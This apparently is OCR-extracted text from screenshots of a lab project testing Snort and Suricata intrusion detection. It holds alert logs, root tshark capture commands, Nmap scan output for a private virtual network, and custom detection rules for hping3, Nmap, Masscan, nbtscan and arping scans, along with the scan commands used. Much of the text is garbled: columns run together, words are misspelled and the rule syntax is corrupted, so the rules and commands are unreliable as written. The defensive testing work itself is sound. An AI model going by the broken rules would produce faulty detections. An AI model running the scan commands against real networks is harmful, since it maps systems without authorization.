Potentially Bad Traffic] [Priority: 2] (IPVE-ICMP) fes0::79d3:4e02:1p57[llcahark: The file to which the capture would be saved (MPHASEL-Snorc2.peap”) cf 22760 68
3ad > £e00::eco5:alas:2la;sacl o1 not be opened: No such file or directory. -1 6e828 17988 16836
10/03-13:15:44.575165 [+*] [1:45:4] IQP Large IQMP Packet [**] [Classificafflroot@snorc2:/home/colab/Wiresharkt cd .. 2021 27264 8708
“ion: Potentially Bad Traffic] [Priovicy: 2] (IPVe-ICHE) £e90::75d3:4202:1057[flroot@anort2: /nome/calabt cd /home/cslab/Wireshark/ 2021 27268 8708
ib3ad -> £e50::iecssialasiszlaisiel root@anort2:/home/calab/Wizesharks tahark -i enp0s3 —f "mot tcp port 22 and 25068 7652 4964
0 ot ipe" -u PHASEI-Snorc2.peap 262 27268 8708
Running as user "root” and group "root”. This could be dangerous. 2021 27268 8708
cepturing on *enpos3’ 2621 2703
31 ] e

Tasks: 52, 31 thr ;1 runnin
Mem[ I | Load average: 0.00 0.00 0.00
Uptine: of

not top port 22 and

NI VIRT SHR TIME: Command
o = HEoD)

This could be dangerous.

Priority: 3] (ARP} ->

[Timestamps]
10/03-13:25:17.590516 [**] [112

[Time since first frame in this TCP stream: 8.996183209 seconds]

1 "(arp_spoof) unicast ARP request’ [*] |

Priozity: 3] (aRP} —> [Time since previous frame in this TCP stream: 0.000144880 seconds] ceul| ] Tasks: 54, 30 thr, ;1 runnin
10/03-13:25:19.478881 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**] (| [SEQ/ACK analysis] Mem[ T ] Load average: 0.27 0.28 0.22
Priozity: 3] (aRP} —> [This is an ACK to the segment in frame: 22971] swpl 1 Uptime: 00:45:11

10/03-13:25:25.522422 [**] [116:58:1] " (tcp) experimental ICP options found"
[**] (Priority: 3] (TCP} 10.0.2.112:44504 —> 1.1.1.1:53
10/03-13:25:25.701517 [**] [112:1:1] "(azp_spoof) unicast ARP request” [**] [|
Priority: 3] (ARP} > root@snort3:/home/cslab/Wiresharkf cd .. 3
10/03-13:25:27.701950 [**] [112:1:1] " (azp_spoof) unicast ARP request” (**] [l cccesnorcs:/nome/calabt od /home/calab,/Wireshark/ 1som

Priority: 3] (ARP} —> root@snort3:/home/cslab/Wireshark 1 root 20 22064 13148 9436

[The RTT to ACK the segment was: 0.000144880 seconds]

22972 packets captured PRI NI VIRT MEM:  TDME:

10/03-13:25:35.531677 [**] [116:58:1] " (ccp) experimental ICP options found" 283 root 19 -1 66832 17900 16620
[**] [Priority: 3] (TCP} 10.0.2.112:45256 —> 1.0.0.1:53 ~c 330 zoot RT 2824 27264 3704
10/03-13:25:45.542033 [**] [116:58:1] " (tcp) experimental TCP options found” Wll|;oot@snort3:/home/cslab/Wiresharki tshark -i enp0s3 ~f "not top port 22 and nf 346 zoot 20 028932 7552

[**] [Priority: 3] (TCP} 10.0.2.112:46686 —> 1.1.1.1:53
10/03-13:25:48.022910 [**] [112:1:1] "(arp_spoof) unicast ARP request’ [**] [|
Priority: 3] (ARP} ->

348 zoot 20 o 2e2u 27268
Running as user "root and group "root™. This could be dangerous. 350 zoor RT o 2e2u 27268
Capturing on *enpos3’ 351 zoo RT 0 zs2u 27208 99 fsbin/mul]
593 ] 2oz e " apin/mac)

B4 B o

ot ipé" -w PHASE-Snort3.pcap

1325
A E R g0 B

©
I
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M PHASE1-Suricata.pcap
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AR 4@ ENRB QAesE=Fe]Eaaal

[Apply a display filter ... <Ctri-/>

Source Destination Protocol  Length Info

> Frame 3416: 60 bytes on wire (480 bits), 60 bytes captured (489 bits) on interface enp@s3, id @
> Ethernet TI, Src: PcsCompu_69:b5:b6 (08:00:27: b6), Dst: PcsCompu_cb:ab:5c (88:00:27:ch:al
v Internet Protocol Version 4, Src: 10.0.2.70, Dst: 10.0.2.111
0100 .... - Version: 4
.... 0101 - Header Length: 20 bytes (5)
> Differentiated Services Field: 0x00 (DSCP: CS@, ECN: Not-ECT)
Total Length: 49
Tdentification: @xSed2 (24130)
> @00. .... - Flags: 6x0
© 0000 0000 Fragment Offset: @
Time to Live: 64
Header Checksum: 0x03da [validation disabled]
[Header checksum status: Unverified]
Source Address: 10.0.2.76
Destination Address: 10.0.2.111

%ur(e ot

Destination Port: @
[Stream index: 1166]
[Conversation completeness: Incomplete (37)]
[TCP Segment Len: 0]
Sequence Number: @  (relative sequence number)
Sequence Number (raw): 1011349364
[Next Sequence Number: 1  (relative sequence number)]
) hcodedgment Nemser: si30462
Acknowledgment number (raw): 510394823
0101 .... = Header Length: 20 bytes (5)
CEmm e ewW]
Window: 512
[Calculated window size: 512]
Checksum: 8x3aa8 [unverified]
[Checksum Status: Unverified]
Urgent Pointer: 8
> [Timestamps]

Type

Header Checksum

Urgent Pointer

@ 7 PHASEL-Suricata.pcap

|| Packets: 483105 - Displayed: 483105 (100.0%)

|| Profile: Default
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# Attempting to detect Phase II Testing

# Phase I1 Test 1 - Hping3 SYN scan - HORKS

alert tocp any any -> any @ (msg:"Possible HPING3 SYN Packet'; ttli6d; flags:S; sid:1010001; rev:iz;
AR

# Fhase II Test 2 - NMAP Scan - SID:1020005 & SID:1020008 MORK

#alert top any any -> any any (msg:'Possible NMAP TCP Scan Detected"; flags:T; threshold:tupe threshold, track by_src, count 10, secands 3; sid:1020001; revi;
#alert top any any -> any any (msg: 'Fossible NMAP TCP Scan Detected v.2'; flags:T; sid:10200025 revil;

#alert tcp any any > any any (msg:'Possible NMAP TCP Scan vo.4"; ttl:64; sid:1020004; rev:l;

#alert top any any -> any any (msg:'Possible NMAP TCP Scan Detected V6.3"; ttl:6d; window

=32120; flags:S; sid:1020003; reve;

#alert top any any -> any any (msg:''Possible NMAP Scan'; ttl:64; flags:S; sid:1020005; rev:2;

#alert tcp any any -> any any (msg:''Possible NMAP Scan''; tt1:64; flags:S; window: =32120; sid:1626006; rev:l;)

#alert tcp any any -> any any (msg:'Possible NMAP Scan'; tt1:64; flags:S; window: <33000; sid:1626007; rev:l;)

alert top any any -> any any (msg:'Possible NMAP Scan”; ttli6d; flags:S; threshold:type threshold, track by_src, count 10, seconds 3; sid:1020008; revil;

AR

# Phase I1 Test 3 - Mascan - Horked 1st time
alert tcp any any -> any any (msg:'Possible Masscan SYN Scan'; flags:S; threshold:type threshold, track by_src, count 168, seconds 10; sid:1030001; rev:l;

AR
# Phase II Test 4 - Arping

AR

# Phase II Test 5 - Arp-Scan
AR
# Phase II Test 6 - nbtscan SID:1060001 Horks

alert udp any any -> any 137 (msg:'Possible NETScan NetBIOS Scan'; sid:1060001; revid;
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(Working) [Running] -

Machine Input _ Devics

WY -cocésuricaca:/nome/cslab/Wiresharki tshark -i enp0s3 £ "mot tep port 22 and|
Running as user "root" and group "root”. This could be dangerous.

. c Tasks: 48, 40 tar 7 1 runnin
Capturing on 'enp0s3 Mem[ 7 1 Load average: 0.20 0.11 0.09
10/11/2025-12:01:36.963353  [**] [1:1010001:2] Possible HPING3 SYN Packet (+*[l273 °C Sup( ] Uptime: 02:17:33

3] {ICP} 10.0.2.70:2616 —> 10.0.2.111:0fff Toot@suricata: /nome/cslab/Wireshark tshark -i enp0s3 —f "not tcp port 22 and|
010001:2] Possible HPING3 SYN Packe: [++[il o€ ip6" -w 77-83-P2-HP2-HPS-Suricata.pcap

] [Classification: (mull)] [Priority: 3] (TCP} 10.0.2.70:1750 -> 10.0.2.111:0fijRunning as user "root” and group "root”. This could be dangerous.
10/11/2025-12:13:59.943261 [**] [1:1010001:2] Possible HPING3 SYN Packec [++[llCapturing on 'enp0s3'

] [Classification: (null)] [Priority: 3] {ICB} 10.0.2.70:1751 —> 10.0.2.111:0fl187 [I 20 s76M
10/11/2025-12:18:59.944053 [**] [1:1010001:2] Possible HPING3 SYN Packet [** 20 s76M
] [Classification: (mull)] [Priority: 3] (TCP} 10.0.2.70:1752 -> 10.0.2.111:0| 20 22576
10/11/2025-12:45:59.911286 [**] [1:1010001:2] Possible HPING3 SYN Packet [+* 19 1 6836
] [Classification: (mull)] [Priority: 3] (TCP} 10.0.2.70:2271 -> 10.0.2.111:0| RT 282
10/11/2025-12:49:19.911912  [**] [1:1010001:2] Possible HPING3 SYN Packet [** 20 29068
1 [Classification: (mull)] [Priority: 3] (TCP} 10.0.2.70:2272 -> 10.0.2.111:0| 20 2321

0

] [Classification: (mull)] [Priorit:
10/11/2025-12:08:59.940371  [**] [1

MEME

0 root@snorc2:/home/cslabt 1s
10/11-12:19:00.144853 [**] [1:524:8] BAD-TRAFFIC tcp port 0 traffic [++] [Clfisnort2 history.cx: [EEEIEEISIRERERgE Tasks: 50, 36 thr ;1 runnin
Jassification: Misc activity] [Priority: 3] {ICP} 10.0.2.111:0 -> 10.0.2.70:17ffroot@snorc2: /home/cslab# mkdir Wireshark Mem( I ] Load average: 0.02 0.03 0.00

sz root@snorc2: /nome/cslabt 1s

10/11-12:46:00.106231 [**] [1:524:8] BAD-TRAFFIC tep port 0 traffic [*+] [CllfSnortz history.cx: [EEPESEEINCERERENES iircshark
assification: Misc activity] [Priority: 3] {ICB} 10.0.2.70:2271 -> 10.0.2.111ffroct@snort2: /home/cslab# cd /home/cslab/Wireshark/
0 root@snort2: /nome/cslab/Wiresharks 1s 5

Swpl ] Uptim

10/11-12:46:00.112014 [**] [1:524:8] BAD-TRAFFIC tcp port 0 traffic [**] [ClJJzoot@snort2:/home/cslab/Wiresharké tshark -i enp0s3 —f "not tcp port 22 and nf Sias a2s0 712 - o o
assification: Misc activity] [Priority: 3] {ICP} 10.0.2.111:0 -> 10.0.2.70:22ffot iP6" -w 76-P2-HP1-Snort2.pcap 1 oot 20 22564 13472 9376 o.
71 Running as user "root” and group "root". This could be dangerous. P To cesan 1mave 17324 o
10/11-12:49:20.106873 [**] [1:524:8] BAD-TRAFFIC tep port 0 trarfic [++] [ClfiCapturing on 'enp0s3’ 317 root RT 282 27264 8704 1.
assification: Misc activity] [Priority: 3] {ICP} 10.0.2.70:2272 -> 10.0.2.111[§261 °C 25072 7660 4972 o.

0 root@snort2: /nome/cslab/Wiresharks tshark -i enp0s3 —f
10/11-12:49:20.110003 [**] [1:524:8] BAD-TRAFFIC tcp port 0 traffic [++] [CLfot iP6" -w 77-83-P2-HP2-HPS-Snort2.pcap

assification: Misc activity] [Priority: 3] {ICB} 10.0.2.111:0 -> 10.0.2.70:22[JRunning as user "root” and group "root”. This could be dangerous.
C72

0

ot top port 22 and nf

—> 10.0.2.70:2272 [sudo] password for cslab:

ity: 3] {ICP} 10.0.2.111:0

10/11-12:45:24.855124 [**] [112:1:1] " (acp_spoof) unicast ARP requesc® [+] (|l z00t@snorcs: /home/cslabt 1s ceur) 1 Tasks: 52, 35 thr ; 1 runnin
[priority: 3] (ARE) > snoxt test-results-snors3 Mem[ i ] Load average: 0.20 0.30 0.28
10/11-12:48:29.438025 [**] [112:1:1] " (arp_spoof) unicast ARP request® [++] [Jf T00t@snort3:/home/cslab} mkair Wireshark 1 Uptime: 02:17:20

Erioricy: 3] (ARE) > root@snort3:/home/cslabf cd /home/cslab/Wireshark/

10/11-12:48:29.838356 [**] [112:1:1] " (arp_spoof) unicast ARP requesce [++] [l root@snozrt3:/home/cslab/Wiresharks 1s

Priority: 3] (ARP} - root@snort3:/home/cslab/Wiresharkf tshark -i enp0s3 -f "mot top port 22 and of NI VIRT CPURVMEME ME+  Command
10/11-12:48:30.568940 [**] [112:1:1] " (arp_spoof) unicast ARP requesce [++] ([l °F iP6" —w 76-P2-HP1-Snort3.pcap

Priority: 3] (ARP} - Running as user "root” and group "root”. This could be dangerous. 5140 4480

10/11-12:48:51.524122 [**] [116:6:1] " (ipv4) IPv4 datagram lengch > capcured [l Capturing on 'enp0s3' 21916 13184

lengeh® [++] [Priority: 3] {eth} > 253 ~c 15096

10/11-12:48:51.856637 [**] [112:1:1] " (arp_spoof) unicast ARP requesce [++] [l root@snort3:/nome/cslab/Wiresharks 1s 27264

Priority: 3] (ARP} - 76-P2-HP1-Snorc3.pcap 7680

10/11-12:50:06.938584 [**] [112:1:1] *(azp_spoof) unicast ARP requesc® [++] ([ Z00t@snort3: /home/cslab/Wiresharki tshark -i enp0s3 ~f "not top port 22 and o) 27264

ot ip6" -w 77-83-P2-HP2-HPS-Snort3.pcap 27264
Running as user "root” and group "root”. This could be dangerous. 27264 .
Capturing on 'enp0s3’ 27264 . .00 /sbin/m

Priority: 3] (ARP} -
10/11-12:50:08.454884 [**] [112:1:1] "(arp_spoof) unicast ARP request” [**]

Priority: 3] {ARP} - R
i 105 2550 1 05 [

o MR OE . R s D

12:50
11/10/2025
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root@kal a

File Actions Edit View Help File Edit View Go Capture Analyze Statistics
Host is up.
Nnap done’ 128 TP addresses (14 hosts up) scanned in 9.94 seconds ADA® = @ a € >

©oot 1 )-[/home/kali (WTAply a display fitter ... <Cirl-/>
4 nm 10.0.2.0/25 No. Time
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-03 14:44 BST
Nmap scan report for 10.0.2.1
Host is up (0.00070s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT  STATE SERVICE
53/tcp open  domain
MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

413634306
413890608
413985457
479982902
480178253
480255212
480459248
480540612
480624844
664245111
683652949 10.0
525. 695816838 112

Nmap scan report for 10.0.2.
Host is up (0.0019s latency)

Not shown: 996 filtered tcp ports (no-response)
PORT  STATE SERVICE

135/tcp open msrpc

445/tcp open microsoft-ds

3389/tcp open ms-wbt-server

5985/tcp open wsman

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

P o co o oo 0 0w 0w 0w w w w

Nmap scan report for 10.0.2.3
Host is up (0.00081s latency)

ALL 1000 scanned ports on 10.0.2.3 are in ignored states

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:E8:F6:BF (PCS Systemtechnik/Oracle VirtualBox virtu

» Frame 1: 74 bytes on wire (592 bits), 7
al NIC) K
,

Ethernet II, Src: PCSSystemtec_79:fd:cc
Internet Protocol Version 4, Src: 16.0

Nmap scan report for 10.0.2.10
Host is up (0.0014s latency)

Not shown: 999 filtered tcp ports (no-response)

PORT  STATE SERVICE ® K ethO: <live capture in progress>

st
A gy N
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M PHASE1-Suricata.pcap = o X
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN 40 mPREBAesEFIEQaaai

[Apply a display filter ... <Ctri-/>

+ Filter o1 10.02.5 10.0.2.6

Source Destination Protocol  Length Info

> Frame 35875: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface enpds3, id 0
> Ethernet II, Src: PcsCompu_69:b5:b6 (88:00:27: b6), Dst: PcsCompu_79:fd:cd (88:00:27:79:fd:cd) Ethemet.
v Internet Protocol Version 4, Src: 10.0.2.70, Dst: 10.0.2.112
0100 ... = Version: 4 e
. 0101 = Header Length: 20 bytes (5)
> Differentiated Services Field: @x@ (DSCP: CS@, ECN: Not-ECT)
Total Length: 60
Identification: Oxd7ed (18413)
> x2, Don't fragnent
Fragnent Offset: 0

64]
[Protocol: TCP] (6)
Header Checksum: @xdal9 [validation disabled]

. ifi vy e s by
[Header checksum status: Unverified]

Source Address: 10.0.2.70 Version | HesderLe.. | Diferentated Services Fied Total Length
Destination Address: 10.0.2.112

Source Port: 32890

Destination Port: 3878

[Stream index: 8232]

[Conversation completeness: Incomplete (37)]
[TCP Segment Len: @] Destination Address
Sequence Number: @  (relative sequence number)
Sequence Number (raw): 3540261639 issic
[Next Sequence Number: 1  (relative sequence number)] |
Acknowledgment Number: @ S
Acknowledgment number (raw): @ Source Port Destination Port
1010 ... - Header Length: 40 bytes (10)

Dst Port = ANY Time to Live Protocol Header Checksum

Window: 64248
[Calculeted window size: 64240]

Checksum: @xd52b [unverified] Header Le. Flags Window
[Checksum Status: Unverified]
Urgent Pointer: @ Checksum Urgent Pointer
> Options: (20 bytes), Maximum segment size, SACK permitted, Timestamps, No-Operation (NOP), Window scale
> [Timestamps] TCP Options.

@ 7 PHASEL-Suricata.pcap || Packets: 483105 - Displayed: 483105 (100.0%) || Profile: Default
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4 Capturing from ethO (not (host 10.0.2.50 or host 10.0.251 or host 10.0.2.52 or host 10.0.2:120 and tcp port 22))

File Actions Edit View Help  File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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Camap 2o7 10.6.8,0780 e
starting Nnap 7.95 ( hetps://nm AIAPDlya display filte .. <Ctrl-/> 02+
0 No. Time. Destination Protocol  Lengt
14421 19:30:33.149796967 10.0.2.760 10.0.2.112
33.149847868 10.0.2.70 10.0.2.120
33.149868294 10.0.2.70

33.150075862
33.150102754.

PCSSystemte
PCSSystemtes
PCSSys

» Frame 1: 60 bytes on wire (480 bits), 66 bytes captured (480 bits) on interfac
» Ethernet II, Src: PCSSystemtec @d:de:le (08:00:27:0d:de:ie), Dst: PCSSystemtec
» Address Resolution Protocol (request)

® B etho: <live capture i progress> Packets: 14507 Profile: Default

>
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70 P2 (Working) [Running] - Oracle VirtualBox

File Machine View Input Devices Help

File Actions Edit View Help Wireless Tools Help

Coot ) [ /home/kali
N 10.0.2,0/25 255 neo0EE
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-14 08:03 BST
Nmap scan report for 10.0.2.1

Host is up (0.00028s latency). Protocol Lengt
Not shown: 999 closed tcp ports (conn-refused)
PORT  STATE SERVICE

53/tcp open domain

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.2
Host is up (1.0s latency).

Not shown: 996 closed tcp ports (conn-refused)
PORT  STATE SERVICE

135/tcp open msrpc

445/tcp  open microsoft-ds

3389/tcp open ms-wbt-server

5985/tcp open wsman

MAC Address: 52:54:00:12:35:00 (QEMU virtual NIC)

Nmap scan report for 10.0.2.3
Host is up (0.00034s latency).

ALL 1000 scanned ports on 10.0.2.3 are in ignored states.

Not shown: 1000 filtered tcp ports (proto-unreach)

MAC Address: 08:00:27:5F:26:CD (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap scan report for 10.0.2.50
Host is up (0.000265 latency).

Not shown: 999 closed tcp ports (conn-refused) es captured (480 bits) on interf|
PORT  STATE SERVICE 7:0d:de:1e), Dst: PCSSystemtec_d|

22/tcp open ssh
MAC Address: 08:00:27:DD:BD:39 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Packets: 65681 Marked: 2 (0.09

S

o0
A 50ms N
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(Working) [Running] -

Machine Input _ Devi

10/14/2025-06: 4
cation: (mull)]
10/14/2025-06:4
cation: (mull)]
10/14/2025-06:5
cation: (mull)]
10/14/2025-06:5:
cation: (mull)]
10/14/2025-07: 0
cation: (mull)]
10/14/2025-07:0:
cation: (mull)]
10/14/2025-07: 0
] [Classification
10/14/2025-07:10:
cation: (mull)]

:33.506924 [**] [
[Priority: 3] {TCP}
3.506587  [**] [1
[Priority: 3] {TCP}
3506772 [**] (1
(Priority: 3] {TCP}
3507363 [**] [1
(Priority: 3] {TCB}
3.506789  [**] [1
(Priority: 3] {TCP}
3507262 [**] (1
(Priority: 3] {TCP}
5.632703  [**] [1:1060001:4]
(null)] [Priority: 3] (UDP}
3.506861 [**] [1:1020008:1
[Priority: 3] {TCP} 10.0.2.7
[**] [1:1020008:1]
[Priority: 3] {TCP} 10.0.2.7

:1020008:1]
10.0.2.7
1020008:1]
10.0.2.7
1020008:1]

Possible NMAP Scan
9208 —> 10.0.2.120
Possible NMAP Scan

Possible NMAP Scan
1020008:1] Possible NMAP Scan
1020008:1]
10.0.2.7

1020008:1]
10.0.2.7

Possible NMAP Scan

Possible NMAP Scan

10.0.2.120:137 —>
Possible NMAP Scan
4142 —> 10.0.2.120
Possible NMAP Scan
9928 —> 10.0.2.120

10/14/2025-07:15:33.507252
cation:

]

(null)]

Tion: Avtempted Information
120:705
10/14-03:50:42.78100¢  [**]
tion: Actempted Information
120:705
10/14-03:50:50.973079  [**]
tion: Actempted Information
120:705
10/14-03:51:07.100735  [**]
tion: Actempted Information
120:705
10/14-03:51:40.380830 [**]
tion: Attempted Information
12

Leak] [Priority: 2] {TCB} 10.0.2.70
[1:1421:11] swep

Leak]

AgentX/top request
(Priority: 2] {TCP} 10.0.2.70:

[1:1421:11] swep
Leak]

AgentX/top request
(Priority: 2] {TCP} 10.0.2.70:

[1:1421:11] swep
Leak]

AgentX/top request
(Priority: 2] {TCP} 10.0.2.70:

[1:1421:11] swep
Leak]

AgentX/top request
(Priority: 2] {TCP} 10.0.2.70:

10/18-07:24:07.262650 [**]
ority: 3] (AR} ->
10/12-07:24:16.263333 [**]
ority: 3] (AR} ->
10/13-07:24:24.082514 [**] [116:6:1
gehn [**] [Priority: 3] {eth} ->
10/14-07:24:24.763856 [**] [112:1:1
ority: 3] (AR} ->
10/14-07:24:29.763007 [**]
ority: 3] (AR} ->
10/14-07:24:38.763377 [**]
ority: 3] (AR} ->
10/12-07:24:47.262525 [**]
ority: 3] (AR} ->
10/13-07:24:52.263127
ority: 3] (ARP} ->

[112:1:1] " (arp_spoof)

[112:1:1] " (azp_spoof)

"(ipvé) Ipva

" (arp_spoof) unicast

[112:1:1] " (azp_spoof) unicast

[112:1:1] " (azp_spoof) unicast

[112:1:1] " (azp_spoof) unicast

[**] [112:1:1] "(azp_spoof) unicast

[ 2]

"es s

2864 > 10.0.2.120:

10.0.2.70:59992 -> 10.0.2.120

10.0.2.70:44874 -> 10.0.2.120

3610 —> 10.0.2.120:

4146 —> 10.0.2.120:
Possible NBTScan NetBIOS Scan [*

1**]
s1e48 —> 10.0.2.

1**]
s1e48 —> 10.0.2.

1**]
s1e48 —> 10.0.2.

1**]
s1e48 —> 10.0.2.

unicast ARE request”

unicast ARE request”

ARP request”

requestn

requestn

requestn

requestn

[*+]
2035
**]
340
**]
10215
1**]
49155
**]
6969
[**]
2009

(Classital

(Classitl

(Classitl

(Classitl

(Classitl

(Classitl

10.0.2.255:137

(**] [Classifi]
4500

1**]
662

(Classitl

5164 —> 10.0.2.

(Classificel

(Classificel

(Classificel

(Classificel

[+4] [Bxi]

%41 [exy]

datagram length > captured len|

&S]

&S]

&S]

&S]

&S]

Last login: Mom Oct 13 07:13:49 2025 from 10.0.2.120
calsbesuricatai-s sudo s

[sudo] passvora for calab:
zooteauricata:/nome/cslané cd /nome/cslan/Wizesnazk/
cooteauricata:/nome/calan/Wireanarkt 13
76-P2-&P1-Suricata.pcap
77-53-p2-HP2-HPS-Suricata.poap

51-55-P2 Nnap-suricata-Absndonsd.pcap
51-55-P2 Nnap-suricata.posp
P2-Hasscan-Suricata.pcap
coot@auzicata:/nome/calab/Wiresnarkt mkdir /home/cslab/Wiresnark/WS-LS-suri
coot@auricata:/nome/calan/Wiresnarké o /nome/cslab,/Wizesnark/WS-Ls-Suri
“oot@auricata:/nome/cslan/Wiresnark/RS-LS-Surif tshark —i enposs - °

© 22 and not ipe" -w P2-Testoll-SSiTargec-Suricata.poap

Running as user "root” and group "root”. This could be dangerous

Captuzing on ‘enpos’

27745 ]

P2-Testing-Nmap-SSLTarget-Suricata.pcap
P2-Tests241-248-SSLTarget-Suricata.poap
P2-Tests9l-98-SSiTarget-Suricata.peap
Testing-P2-Nmap-Suricata.pcap

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts.
Internet connection or proxy settings

Last login: Hom Oct 13 0
carabganorczio suds =

(sudo] password for calab

coot@ancrte:/noe/calabf mkdiir /nome/cslab/Wiresnark/WS-LS-Snort2
cooteanorte:/nome/calabf ca /nome/caleb/Wizeshark/WS-Ls-Snorta
coot@ancrte: /nome/ calab/Wizesnark/WS-Lo-Snor2f 13

coot@ancrte: /nome/ calab/Wizesnark/WS-Ls-Snorizf tshark -4 enp0s3 -2
© 22 and not ipe” —w P-Testell-SSLTazget-snoriZ.poep

Running as user "root" and group "root”. This could be dangerous
Captuzing on *enposs’

27745 ]

not tep po]

] oc 1list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts
Internet connection or proxy settings

Check your

Last login: Mon Oct 13 07:15:32 2025 from 10.0.2.120
cslabgsnorts:~$ sudo su
| (sudo] passwora for cslab:
zoot@snort3:/home/cslabf mkdir /home/cslab/Wireshark/WS-LS-Snorc3
root@snort3:/home/cslabf cd /home/cslab/Wireshark/WS-LS-Snorc3
zoot@snort3:/home/cslab/Wireshark/NS-LS-Snortst 1s
zoot@snort3:/home/cslab/Wireshark/NS-LS-Snort3# tshark -1 enp0s3 —f "not tcp por
© 22 and not ip6" -w P2-Test9lL-SSLTarget-Snorc3.pcap
Running as user "root” and group "root”. This could be dangerous
Capturing on 'enp0s3’

M2 27745 ]

Cneck your [

1 root
282 root
333 root
345 root
345 root
350 root
351 root

] T
1111111731471, 926] Lo
1 Up

NI VIRT

22444
1 s3220
282
25068
282
282
282
282
282

13528
34344
27264

7628
27264
27264
27264
27264
27264
27264

] Tasks:
] Load average:
1 Uptime:

LTI 4488

NI VIRT
22760
1 s33as
282
25040

282

13692
34420
27264

7628
27264

1 T
1 Lo
1 Up

NI VIRT RE
150M
22248

1 7504
282
25932
282
282

5488
13180
26452
27264

728
29364
e
27264

sks: 49,
ad average:
time: 1 day,

40 thr :
0.07 0.08 0.0
00:16:38

1 runn

MEM:  TDME:

36 thr
0.00 0.00 0.00
00:16:40

s0,

1 aay,

sks: 52,
ad average:
time: 1 day,

35 thr :
0.17 0.22 0.20
00:16:37

MEME

loll2
468
25172
5704
ivAEEY
754 'Y
0 Setbag
5704

o
~ T s
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Test Desctiption

Mitre

Mitre Tool

Technique Technique Command

PCAP File
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Packet Features used to create Signature/Rule

ATTRCK  ATT&CK )
Technique Description
Protocol|Dest Port[TTL [Flag [ Threshold
2|Port Scan of Device [Port Scan Using SYN [ T1595.0001 |Active hping3 -5 PHASE1- 1010001:2| TCP 0
packets Scanning 10.0.2.111-p0-  [Suricata
(Confirms Host online) 1023
24[Host Discovery &  |Nmap TCP Full Open | T1595.0001 |Active nmap |TCPScan |[P1-NP3  |nmap-sT PHASE1- 1020008:2| TCP | ANY Track by Source:
Port Scan Scan Scanning 10.0.2.0/25 Suricata (Count 10 /3 Seconds)
36[Host Discovery & | Masscan Host Discovery | T1595.0002 [Active masscan [FastTCP  |P1-MS1  |massean —router- | PHASE1- 1030001:1| TCP | ANY Track by Source:
Port Scan &Port Scan. Scanning Port Scan mac 08-00-27-18- | Suricata- (Count 100 /10 Seconds)
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42[NetBIOS Scan NetBIOS Scan of host. [ T1595.0001 [Active nbtscan |NetBIOS |P1-NB2 |nbtscan PHASE1- 106001:6 | UDP 137
Scanning Scan of 10.0.2.111 Suricata-
host Tests36-49
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Testing Snort2 Signature vulnerability Victim esting IDS 10.0.2.70:999:10. | suricata-
detection. Network Signatures. 0.2.50:139:AP:TCP | Tests36-49
Information VRFY -v
: Network
Security
Appliances





image126.png
Packet Features used to create Signature/Rule attempting to detect ARP Packets

Hacking Tool

Protocol |Src MAC |Dst MAC Eth_Type [Content |Threshold
arping 1990001:1 | UDP | ANY ANY count 10, seconds 10
arping 19900022 | 1P ANY ANY
arping 19900032 | UDP | ANY ANY
arping 199000422 | _TCP ANY ANY
arping 1990005:1 | ARP ANY ANY
arping 1990006:2 | TCP ANY ANY
arping 1990007:2 | TCP ANY ANY
arping 1990008:1 " ANY ANY
netdiscover_|1110001:1 | _ANY ANY ANY__| 0x0806
netdiscover_|1110002:1 | Ethernet | _ANY ANY
netdiscover_|1110003:1 | _ANY ANY ANY

ether.src FFFFFFFFFFFF

Description

Observations

Initial signature used to attempt to
detect ARP. During the initial phase
of testing.

Erroneously using the UDP protocol
and Content keyword.

* The UDP protocol is used in signature, this
will not work as UDP is a L4 Protocol. The ARP
Protocol is L2

* The Content keyword allows inspection of
the frame/packet for Bytes 08 06 which is the
ARP EtherType.

Initial signature used to attempt to
detect ARP. During the initial phase
of testing. Erroneously using the P
protocol and Content keyword.

* The IP protocol is used in signature, this will
not work as IP is a L3 Protocol. The ARP
Protocol is L2.

As SID 1990001 minus the threshold.

As SID 1990003 for TCP protocol.

Detecting on ARP Protocol and
Payload contents.

This is the correct protocol, however, ARP is
NOT a Suricata protocol keyword.

Searching for traffic with broadcast
Source MAC Address

Attempting to use the flow keyword.

ether.dst FFFFFFFFFFFF

Searching for traffic with broadcast
Destination MAC Address.

Attempting to use the flow keyword.

Searching for packets with the term
"ARP” in its payload.

This was anticipated to work, but was tested
all the same.

Detecting on EtherType
Detecting on Ethernet protocol.
Detecting on ARP EtherType.

These were the final ARP Signatures and are
more i line with the contents of the packet
header found during analysis.
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#alert icmp any any -> any any (msg:"ICHP Detected"; sid:1060081; rev:i;

#TCP and SYN rules working.
#alert top any any -> any any (msg:'Possible Sun Port Scan'; flags:S; window:1024; sid:1360081; rev:3;
#alert top any any -> any any (msg:'TCP Test Rule'; sid:1906002; rev:3;

R R R R R R R R R R R R R R R R R R R R R R R R R R AR RN AR RN
¢ Attempting to detect Arping scans

[# NOTE: The content keyword "content: only works on TCP/UDP for L4 and above, as ARP is L2, this will not work

#alert udp any any -> any any (msg:'Possible Arping Scan'; content:'"|e8 @6]"; threshold: tupe any, count 18, seconds 10; sid:1990801; rev:i;)
[¢alert ip any any -> any any (msg:'Possible Arping Scan”; content:"|@8 @6|"; sid:1990002; rev:z;
[#alert udp any any -> any any (msg:''Possible Arping Scan'; content: |08 06|"; sid:1990003; rev:2;
#alert tocp any any -> any any (msg:'Possible Arping Scan'; content:'|08 06]"; sid:1390004; rev:2;

#alert arp any any -> any any (msg:"Possible Arping Scan"; content:'|08 06|"; sid:1390005; rev:l;

FF:FF; sid:199006; re
FF:FF; 5id:1990007; rev:z;)

